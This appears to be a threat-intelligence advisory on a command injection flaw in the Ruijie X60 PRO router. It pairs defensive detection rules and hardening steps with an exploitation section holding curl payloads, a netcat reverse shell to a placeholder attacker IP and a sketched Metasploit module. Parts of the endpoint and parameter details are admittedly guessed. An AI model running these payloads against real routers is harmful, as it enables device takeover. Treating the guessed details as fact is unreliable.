CVE-2025-56124

Executive Summary

CVE-2025-56124 is a critical OS Command Injection vulnerability in the Ruijie X60 PRO router (firmware versions V1.00 and V2.00). The flaw resides in the /usr/local/lua/dev_sta/networkConnect.lua file, specifically within the module_get function. An unauthenticated attacker can send a crafted POST request to inject arbitrary operating system commands, leading to full device compromise. No public exploit code or patch is currently available, making this a high-priority zero-day threat for affected devices.

Supply Chain & Package Security

This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a consumer networking device.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution with no user interaction, enabling full device takeover.

Deep Dive & Mechanics

The vulnerability is an OS Command Injection in the Lua-based web management interface. The module_get function in networkConnect.lua improperly sanitizes user-supplied input from POST requests. When a parameter (likely module or similar) is passed, it is concatenated directly into a system command string without escaping or validation.

Root Cause: The application uses os.execute() or io.popen() with unsanitized input. For example:

local cmd = "some_command " .. param
os.execute(cmd)

Attack Vector: An attacker sends a POST request to the vulnerable endpoint with a payload containing command injection characters (e.g., ;, |, &&). The injected command executes with root privileges on the router.

Impact: Full device compromise, including:

• Exfiltration of Wi-Fi credentials and configuration data.
• Installation of persistent backdoors.
• Use of the device in botnets (e.g., Mirai variant).
• Lateral movement within the local network.

Vulnerable vs. Patched Code

Vulnerable Code (V1.00/V2.00):

-- /usr/local/lua/dev_sta/networkConnect.lua
function module_get()
    local param = ngx.req.get_post_args()["module"]
    local cmd = "iwconfig " .. param
    os.execute(cmd)
end

Patched Code (Hypothetical):

-- /usr/local/lua/dev_sta/networkConnect.lua
function module_get()
    local param = ngx.req.get_post_args()["module"]
    -- Whitelist allowed values
    local allowed = {"wlan0", "wlan1", "eth0"}
    if not is_in_table(param, allowed) then
        ngx.say("Invalid module")
        return
    end
    local cmd = "iwconfig " .. param
    os.execute(cmd)
end

Key Difference: The patched version implements input validation using a whitelist, preventing arbitrary command injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Ruijie X60 PRO router with firmware V1.00 or V2.00.
• Network access to the router's web interface (typically port 80/443).

Exploit Payload:

curl -X POST http://<router_ip>/dev_sta/networkConnect.lua \
  -d "module=wlan0;id"

Expected Output:

uid=0(root) gid=0(root) groups=0(root)

Advanced Payload (Reverse Shell):

curl -X POST http://<router_ip>/dev_sta/networkConnect.lua \
  -d "module=wlan0;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker_ip> <port> >/tmp/f"

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Ruijie X60 PRO Command Injection',
      'Description' => 'Exploits OS command injection in Ruijie X60 PRO',
      'Author' => ['Security Researcher'],
      'References' => [['CVE', '2025-56124']],
      'Targets' => [['Automatic', {}]],
      'Payload' => {'BadChars' => "\x00"}
    ))
  end

  def exploit
    send_request_cgi({
      'method' => 'POST',
      'uri' => '/dev_sta/networkConnect.lua',
      'vars_post' => {'module' => "wlan0;#{payload.encoded}"}
    })
  end
end

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP POST requests to /dev_sta/networkConnect.lua with suspicious parameters.
• Look for command injection characters (;, |, &, `) in POST data.
• Alert on outbound connections from the router to unknown IPs on non-standard ports.

Hardening:

• Disable remote management if not required.
• Place the router behind a firewall with strict ACLs.
• Monitor for firmware updates from Ruijie.
• Implement network segmentation to isolate IoT devices.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /dev_sta/networkConnect.lua with unusual parameters.
• Outbound connections from the router to IPs on ports 4444, 31337, or other reverse shell ports.
• DNS queries to known malicious domains.

File System IOCs:

• Presence of /tmp/f (named pipe used in reverse shell).
• Modified /usr/local/lua/dev_sta/networkConnect.lua file.
• Unexpected processes running as root (e.g., /bin/sh with network connections).

Log IOCs:

• Router logs showing os.execute calls with unexpected arguments.
• Repeated failed login attempts followed by successful exploitation.

Detection Engineering

YARA Rule

rule CVE_2025_56124_Ruijie_Command_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2025-56124 in HTTP POST requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56124"
    strings:
        $post_uri = "/dev_sta/networkConnect.lua"
        $cmd_chars = /[;&|`$()]/
    condition:
        $post_uri and any of ($cmd_chars*)
}

Sigma Rule

title: Ruijie X60 PRO Command Injection Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to the vulnerable endpoint with command injection characters
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/dev_sta/networkConnect.lua'
    keywords:
        - ';'
        - '|'
        - '&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in module names (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-56124 Ruijie X60 PRO Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/dev_sta/networkConnect.lua";
    http_uri;
    pcre:"/(?:[;&|`$()])/Ri";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place Ruijie X60 PRO routers on a separate VLAN with no internet access.
2. Disable remote management: Turn off WAN-side administration in the router settings.
3. Monitor for patches: Check Ruijie's official website weekly for firmware updates.
4. Implement WAF rules: Block POST requests to /dev_sta/networkConnect.lua containing shell metacharacters.

Long-term Solutions:

• Replace affected routers with devices from vendors with active security support.
• Implement network segmentation for all IoT devices.
• Deploy a next-generation firewall with IPS capabilities.

Vendor Communication:

• Attempt to contact Ruijie through their security contact form.
• If no response, consider public disclosure after 90 days.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-56124